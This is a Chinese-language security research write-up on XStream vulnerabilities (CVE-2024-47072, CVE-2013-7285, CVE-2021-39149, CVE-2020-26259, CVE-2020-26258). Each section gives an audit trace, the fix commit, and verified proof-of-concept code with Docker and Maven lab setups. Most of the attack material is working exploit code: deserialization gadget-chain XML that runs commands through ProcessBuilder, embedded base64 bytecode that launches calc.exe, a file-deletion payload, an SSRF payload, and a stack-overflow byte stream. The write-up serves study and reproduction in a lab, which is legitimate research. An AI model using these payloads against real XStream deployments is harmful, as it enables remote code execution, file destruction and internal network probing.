CVE-2024-47072 栈溢出DOS
i. 审计过程
首先了解Token,这是Xstream自己定义的黑话

TYPE_START_NODE = 3:开始标签。相当于 XML 里的<name>。TYPE_END_NODE = 4:结束标签。相当于 XML 里的</name>。TYPE_ATTRIBUTE = 5:属性。相当于 XML 里的id="123"。TYPE_VALUE = 6:文本值。相当于标签里的具体内容,比如test_user。TYPE_MAP_ID_TO_VALUE = 2:存字典指令,告诉程序先记下一个 ID 和字符串的对应关系,方便后面简写。
问题出在readToken()函数里被选中的两行中,

当token为2的时候程序默认要存入一个字典,进入分支之后开始取ID取value

当攻击者传入如下数据时,10为2+8得来,2代表要存入字典、8代表ID占一个字节、-127为随意取值,0,0代表存入的内容是空的。

当程序执行完存入字典的流程后,函数继续调用自身return this.readToken(); 但上一个流程还没关闭,也就导致了无限递归。
ii. Commit Diff

开发者修复方式是在此处添加了一个do While循环,利用 continue解决了递归问题,同时在下面添加了mapping = !mapping;的翻转,规避掉了连续两次存入字典的情况。
iii. POC
官方POC

已验证POC
java
package org.example;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.binary.BinaryStreamDriver;
import java.io.ByteArrayInputStream;
public class Exploit {
public static void main(String[] args) {
System.out.println("[*] 正在构造恶意二进制流...");
// 构造特定的字节数组,诱导 BinaryStreamDriver 进入无限递归
final byte[] byteArray = new byte[40000];
for (int i = 0; i < byteArray.length / 4; i++) {
byteArray[i * 4] = 10;
byteArray[i * 4 + 1] = -127;
byteArray[i * 4 + 2] = 0;
byteArray[i * 4 + 3] = 0;
}
try {
XStream xstream = new XStream(new BinaryStreamDriver());
System.out.println("[*] 开始反序列化...");
xstream.fromXML(new ByteArrayInputStream(byteArray));
} catch (StackOverflowError e) {
System.err.println("\n[!] 成功触发漏洞");
} catch (Exception e) {
e.printStackTrace();
}
}
}


iiii. 漏洞环境
dockerfile
FROM maven:3.8-openjdk-11-slim AS build
WORKDIR /app
COPY pom.xml .
RUN mvn dependency:go-offline
COPY src/main/java/org/example/Exploit.java /app/src/main/java/Exploit.java
RUN mvn compile -Dmaven.compiler.source=11 -Dmaven.compiler.target=11
CMD ["mvn", "exec:java", "-Dexec.mainClass=org.example.Exploit"]
xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0">
<modelVersion>4.0.0</modelVersion>
<groupId>com.poc</groupId>
<artifactId>xstream-dos-reproduction</artifactId>
<version>1.0</version>
<dependencies>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.20</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>3.1.0</version>
</plugin>
</plugins>
</build>
</project>

docker build -t xstream-cve-2024-47072 .
docker run --rm xstream-cve-2024-47072
CVE-2013-7285 反序列化
i. 审计过程
根据POC逆推,这个洞可以看标签推出来。首先sorted-set可以在Xstream.java中看到this.alias("sorted-set", SortedSet.class);可知sorted-set对应SortedSet

跟进可以看到这个SortedSet是个接口并无构造方法,于是找默认实现类
在Xstream.java中的setupDefaultImplementations方法中可以看到SortedSet的默认实现类是TreeSet,于是跟进TreeSet(注意此处内存中就已经是一个TreeSet实例了)

发现这里也是接口,但没断掉,因为下面有个this(new TreeMap<>()),当Xstream检测到TreeMap已经被创建好了就回去使用CollectionConverter.class中的populateCollection函数解析XML标签。


看下调用堆栈
继续往下走发现走到了重载的方法里

于是就又是moveDown() moveUp
其中moveDown()是为了跳进XML下一层节点
跟进addCurrentElementToCollection

target.add(item);中的target就是之前new的那个TreeMap,而此处的item就是POC中的第二个节点,也就是动态代理

但是调试信息中显示item是touch,这就是一个问题所在。
看一下调用堆栈

发现touch在最底下,在target.add(item)处打个断点就可以看到item变了

跟踪调试就能发现程序是通过populateCollection函数中的while去把栈里的元素挨个轮一遍,最后item归到的就是动态代理。

当item归到动态代理之后,由于之前说过创建的是TreeSet实例,所以会跳到下图中的add方法,里面的e就是item,也就是刚才的动态代理

再跟进put方法
里面有compare,再跟会发现里面有compareTo
这个时候问题就来了,compareTo里面的K就是动态代理,它向程序声明自己有compareTo方法,但实际上它将程序动态代理至EventHandler,而EventHandler本身不会在意动态代理转过来的参数,它只在乎自己收到了invoke请求,然后去执行攻击者所写的代码:ProcessBuilder.start()。这就是完整的链子。
ii. Commit Diff
第一步、基础安全框架

虽然还是默认允许any但是用户和开发者可以通过securityMapper添加黑名单类

看一下securityMapper,貌似是白名单

但实际上在Xstream.java里面已经开完权限了,所以还是黑名单.

第二步、拦截动态代理
官方第二步的修复方法是把java.beans.EventHandler加了黑名单并且给开发者提供了denyTypes,例如调用xstream.denyTypes(new String[]{"java.beans.EventHandler"})时先允许any后封禁EventHandler。

https://github.com/x-stream/xstream/commit/6344867dce6767af7d0fe34fb393271a6456672d
iii. POC
官方POC
java
<contact class='dynamic-proxy'>
<interface>org.company.model.Contact</interface>
<handler class='java.beans.EventHandler'>
<target class='java.lang.ProcessBuilder'>
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</contact>
XStream xstream = new XStream();
Contact contact = (Contact)xstream.fromXML(xml);
已验证POC
java
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.security.AnyTypePermission;
import java.io.File;
public class CVE_2013_7285_POC {
public static void main(String[] args) {
XStream xstream = new XStream();
xstream.addPermission(AnyTypePermission.ANY);
String xml = "<sorted-set>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>touch</string>\n" +
" <string>/tmp/cve-2013-7285-pwned.txt</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</sorted-set>";
System.out.println("[*] 正在加载 CVE-2013-7285 Payload...");
try {
xstream.fromXML(xml); System.out.println("[+] Payload 执行完成");
} catch (Exception e) {
System.err.println("[!] 异常信息: " + e.getMessage());
}
// 验证文件是否创建
File f = new File("/tmp/cve-2013-7285-pwned.txt");
if (f.exists()) {
System.out.println("[✓] 漏洞利用成功!文件已创建");
} else {
System.out.println("[✗] 漏洞利用失败,文件未创建");
} }}
iiii. 漏洞环境
xml
<dependencies>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.17</version>
</dependency>
<dependency>
<groupId>xmlpull</groupId>
<artifactId>xmlpull</artifactId>
<version>1.1.3.1</version>
</dependency>
<dependency>
<groupId>xpp3</groupId>
<artifactId>xpp3_min</artifactId>
<version>1.1.4c</version>
</dependency>
</dependencies>
dockerfile
FROM eclipse-temurin:8-jdk
WORKDIR /app
ADD https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.17/xstream-1.4.17.jar /app/xstream.jar
ADD https://repo1.maven.org/maven2/xmlpull/xmlpull/1.1.3.1/xmlpull-1.1.3.1.jar /app/xmlpull.jar
ADD https://repo1.maven.org/maven2/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.jar /app/xpp3.jar
COPY CVE_2013_7285_POC.java /app/CVE_2013_7285_POC.java
RUN javac -cp "xstream.jar:xmlpull.jar:xpp3.jar" CVE_2013_7285_POC.java
CMD ["sh", "-c", "java -cp .:xstream.jar:xmlpull.jar:xpp3.jar CVE_2013_7285_POC"]

CVE-2021-39149 反序列化
i. 审计过程
payload最外层节点变成了linked-hash-set,直接去Xstream.java里看吧

跟进发现是个接口类

于是往下跟父类,在父类中找到add()方法

再跟put()->hash()->hashcode(),这个点先按下不表

接着看POC子节点,dynamic-proxy依旧动态代理。声明自己有一个map方法,实际上当程序调用这个"map"之后走的是CompositeInvocationHandlerImpl
既然动态代理声明自己是map了程序就觉得你肯定有hashcode吧,什么原因看上文。
转到CompositeInvocationHandlerImpl之后通过invoke方法直接触发危险类

这个invoke方法感觉问题还是很大,有空看看最新源码,感觉还是有问题。
它的作用主要是查看当前被调用的方法是属于哪个类的,有没有对应handler处理,有的话交过去,没有的话走默认handler。
攻击的大致链路就如下:
HashMap调用proxy.hashCode()。hashCode方法属于java.lang.Object类。CompositeInvocationHandlerImpl的invoke被触发,它去查自己的 Map。- 它发现:针对
Object类的方法(hashCode),有一个现成的DTraceProbe处理器。 DTraceProbe能反射且参数可控(如下图)

ii. Commit Diff
改成默认白名单了

https://github.com/x-stream/xstream/compare/XSTREAM_1_4_17...XSTREAM_1_4_18
iii. POC
官方POC
已验证POC
java
package org.example;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.security.AnyTypePermission;
public class FinalExploit {
public static void main(String[] args) {
XStream xstream = new XStream();
xstream.addPermission(AnyTypePermission.ANY);
String xml = "<linked-hash-set>\n" +
" <dynamic-proxy>\n" +
" <interface>map</interface>\n" +
" <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>\n" +
" <classToInvocationHandler class='linked-hash-map'/>\n" +
" <defaultHandler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Object</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Object</class>\n" +
" <name>hashCode</name>\n" +
" <parameter-types/>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>\n" +
" <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" +
" <default>\n" +
" <__name>Pwnr</__name>\n" +
" <__bytecodes>\n" +
" <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>\n" +
" <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>\n" +
" </__bytecodes>\n" +
" <__transletIndex>-1</__transletIndex>\n" +
" <__indentNumber>0</__indentNumber>\n" +
" </default>\n" +
"<boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" +
" </proxy>\n" +
" <implementing__method>\n" +
" <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>\n" +
" <name>getOutputProperties</name>\n" +
" <parameter-types/>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </defaultHandler>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</linked-hash-set>";
System.out.println("[*] 正在加载二进制 Payload,准备执行命令...");
try {
xstream.fromXML(xml);
} catch (Exception e) {
System.out.println("[+] 执行完成。");
}
}
}
java
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.security.AnyTypePermission;
import java.io.File;
public class FinalExploit {
public static void main(String[] args) {
XStream xstream = new XStream();
xstream.addPermission(AnyTypePermission.ANY);
// Linux创建文件的ProcessBuilder Payload
String xml = "<linked-hash-set>\n" +
" <dynamic-proxy>\n" +
" <interface>map</interface>\n" +
" <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>\n" +
" <classToInvocationHandler class='linked-hash-map'/>\n" +
" <defaultHandler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Object</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Object</class>\n" +
" <name>hashCode</name>\n" +
" <parameter-types/>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <!-- ProcessBuilder 执行 touch /tmp/pwned.txt -->\n" +
" <proxy class='java.lang.ProcessBuilder'>\n" +
" <command>\n" +
" <string>touch</string>\n" +
" <string>/tmp/pwned.txt</string>\n" +
" </command>\n" +
" </proxy>\n" +
" <implementing__method>\n" +
" <class>java.lang.ProcessBuilder</class>\n" +
" <name>start</name>\n" +
" <parameter-types/>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </defaultHandler>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</linked-hash-set>";
System.out.println("[*] 正在加载 ProcessBuilder Payload...");
try {
xstream.fromXML(xml); System.out.println("[+] Payload 执行完成");
} catch (Exception e) {
System.err.println("[!] 异常信息: " + e.getMessage());
e.printStackTrace(); }
// 检查文件
File f = new File("/tmp/pwned.txt");
if (f.exists()) {
System.out.println("[✓] 漏洞利用成功!/tmp/pwned.txt 已创建");
} else {
System.out.println("[✗] 漏洞利用失败,文件未创建");
} }}```
#### iiii. 漏洞环境
```xml
<dependencies>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.17</version>
</dependency>
<dependency>
<groupId>xmlpull</groupId>
<artifactId>xmlpull</artifactId>
<version>1.1.3.1</version>
</dependency>
<dependency>
<groupId>xpp3</groupId>
<artifactId>xpp3_min</artifactId>
<version>1.1.4c</version>
</dependency>
</dependencies>
iiii. 漏洞环境
dockerfile
FROM eclipse-temurin:8-jdk
WORKDIR /app
RUN apt-get update && apt-get install -y bash
ADD https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.17/xstream-1.4.17.jar /app/xstream.jar
ADD https://repo1.maven.org/maven2/xmlpull/xmlpull/1.1.3.1/xmlpull-1.1.3.1.jar /app/xmlpull.jar
ADD https://repo1.maven.org/maven2/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.jar /app/xpp3.jar
COPY FinalExploit.java /app/FinalExploit.java
RUN javac -cp "xstream.jar:xmlpull.jar:xpp3.jar" FinalExploit.java
CMD ["sh", "-c", "java -cp .:xstream.jar:xmlpull.jar:xpp3.jar FinalExploit"]
xml
<dependencies>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.17</version>
</dependency>
<dependency>
<groupId>xmlpull</groupId>
<artifactId>xmlpull</artifactId>
<version>1.1.3.1</version>
</dependency>
<dependency>
<groupId>xpp3</groupId>
<artifactId>xpp3_min</artifactId>
<version>1.1.4c</version>
</dependency>
</dependencies>

CVE_2020_26259 任意文件删除
i. 审计过程
这个漏洞的本质其实和好多反射致使RCE差不多,攻击者可以通过正常思路RCE,官方封RCE的类,然后攻击者利用其他非RCE的类攻击,例如SQL注入、文件创建、文件删除等等。
简单跟一下吧
跟到putCurrentEntryIntoMap

进put后再进hashcode(此时的getStringValue中的toString 函数,这个value是com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data)

到toString()再跟get()

漏洞的正常思路是通过此处的is.close();去关闭文件的,下断点必须要在try里面下不然看不到进try的过程,因为下断点的话可以看到this.data = null return之后变成一堆0,但如果不在里面下断点的话程序会跳过直接return一堆0回来,看得我莫名其妙。

ii. Commit Diff
官方使用黑名单形式添加了.*\\.ReadAllStream\\$FileStream进行处理,治标不治本。

iii. POC
官方POC:
java
public void testCannotUseJaxwsInputStreamToDeleteFile() {
if (JVM.isVersion(5)) {
final String xml = ""
+ "<is class='com.sun.xml.ws.util.ReadAllStream$FileStream'>\n"
+ " <tempFile>target/junit/test.txt</tempFile>\n"
+ "</is>";
xstream.aliasType("is", InputStream.class);
try {
xstream.fromXML(xml);
fail("Thrown " + ConversionException.class.getName() + " expected");
} catch (final ForbiddenClassException e) {
// OK
}
}
}
public void testExplicitlyUseJaxwsInputStreamToDeleteFile() throws IOException {
if (JVM.isVersion(5)) {
final File testDir = new File("target/junit");
final File testFile = new File(testDir, "test.txt");
try {
testDir.mkdirs();
final OutputStream out = new FileOutputStream(testFile);
out.write("JUnit".getBytes());
out.flush();
out.close();
assertTrue("Test file " + testFile.getPath() + " does not exist.", testFile.exists());
final String xml = ""
+ "<is class='com.sun.xml.ws.util.ReadAllStream$FileStream'>\n"
+ " <tempFile>target/junit/test.txt</tempFile>\n"
+ "</is>";
xstream.addPermission(AnyTypePermission.ANY); // clear out defaults
xstream.aliasType("is", InputStream.class);
InputStream is = null;
try {
is = (InputStream)xstream.fromXML(xml);
} catch (final ForbiddenClassException e) {
// OK
}
assertTrue("Test file " + testFile.getPath() + " no longer exists.", testFile.exists());
byte[] data = new byte[10];
is.read(data);
is.close();
assertFalse("Test file " + testFile.getPath() + " still exists exist.", testFile.exists());
} finally {
if (testFile.exists()) {
testFile.delete();
}
if (testDir.exists()) {
testDir.delete();
}
}
}
}
已验证POC:
java
package org.example;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.security.AnyTypePermission;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Exploit {
public static void main(String[] args) throws Exception {
String targetPath = System.getProperty("os.name").toLowerCase().contains("windows")
? "victim.txt"
: "/tmp/victim.txt";
Files.write(Paths.get(targetPath), "Exploit Success".getBytes());
File f = new File(targetPath);
System.out.println("[*] Target file: " + f.getAbsolutePath() + " exists: " + f.exists());
XStream xstream = new XStream();
String xml_poc = "<map>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
" <dataHandler>\n" +
" <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
" <contentType>text/plain</contentType>\n" +
" <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +
" <tempFile>" + f.getAbsolutePath() + "</tempFile>\n" +
" </is>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <string>test</string>\n" +
" </entry>\n" +
"</map>";
System.out.println("[*] Triggering exploit via ReadAllStream$FileStream...");
try {
xstream.fromXML(xml_poc);
} catch (Exception e) {
}
System.gc();
System.runFinalization();
Thread.sleep(1000);
System.out.println("[*] Exploit Check:");
if (!f.exists()) {
System.out.println("\n[SUCCESS] CVE-2020-26259 Reproduced! File Deleted.");
} else {
System.out.println("\n[FAILED] File still exists. Try checking if ReadAllStream$FileStream exists in this JDK.");
}
}
}
iiii. 漏洞环境
Dockerfile:
dockerfile
FROM maven:3.8.4-jdk-8-slim AS builder
WORKDIR /app
COPY pom.xml .
RUN mvn dependency:go-offline
COPY src ./src
RUN mvn package -DskipTests
FROM eclipse-temurin:8-jre
WORKDIR /app
COPY --from=builder /app/target/*-with-dependencies.jar app.jar
CMD ["java", "-jar", "app.jar"]
pom.xml
xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0">
<modelVersion>4.0.0</modelVersion>
<groupId>com.poc</groupId>
<artifactId>xstream-dos-reproduction</artifactId>
<version>1.0</version>
<dependencies>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.14</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>3.1.0</version>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.3.0</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifest>
<mainClass>org.example.Exploit</mainClass>
</manifest>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>

CVE-2020-26258 SSRF
i. 审计过程
和任意文件删除一样都是基于CVE-2020-26257的漏洞,跟CVE-2020-26259也一样只不过一个是删文件的工具类一个是探测网络的工具类。
前半段都是putCurrentEntryIntoMap、hashCode()、toString()、Base64data()、get()等等

SSRF利用的就是getInputStream

ii. Commit Diff

黑名单,应该是最后一波黑名单了。
iii. POC
官方POC
java
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='javax.activation.URLDataSource'>
<url>http://localhost:8080/internal/:</url>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
XStream xstream = new XStream();
xstream.fromXML(xml);
已验证POC
java
package org.example;
import com.thoughtworks.xstream.XStream;
public class CVE_2020_26258 {
public static void main(String[] args) {
String ssrf_xml = "<map>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
" <dataHandler>\n" +
" <dataSource class='javax.activation.URLDataSource'>\n" +
" <url>http://dnslog url/:</url>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <string>test</string>\n" +
" </entry>\n" +
"</map>";
XStream xstream = new XStream();
xstream.fromXML(ssrf_xml);
}
}
iiii. 漏洞环境
dockerfile
FROM maven:3.8.1-jdk-8
WORKDIR /app
RUN mkdir -p src/main/java/org/example
RUN echo '<project><modelVersion>4.0.0</modelVersion><groupId>org.example</groupId><artifactId>demo</artifactId><version>1.0</version><dependencies><dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.14</version></dependency></dependencies></project>' > pom.xml
COPY CVE_2020_26258.java src/main/java/org/example/CVE_2020_26258.java
RUN mvn compile
CMD ["mvn", "exec:java", "-Dexec.mainClass=org.example.CVE_2020_26258"]
xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>xstream-poc</artifactId>
<version>1.0</version>
<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
<dependencies>
<!-- XStream依赖 - 漏洞版本1.4.14 -->
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.14</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>
</project>

docker build -t xstream-ssrf .
docker run --rm xstream-ssrf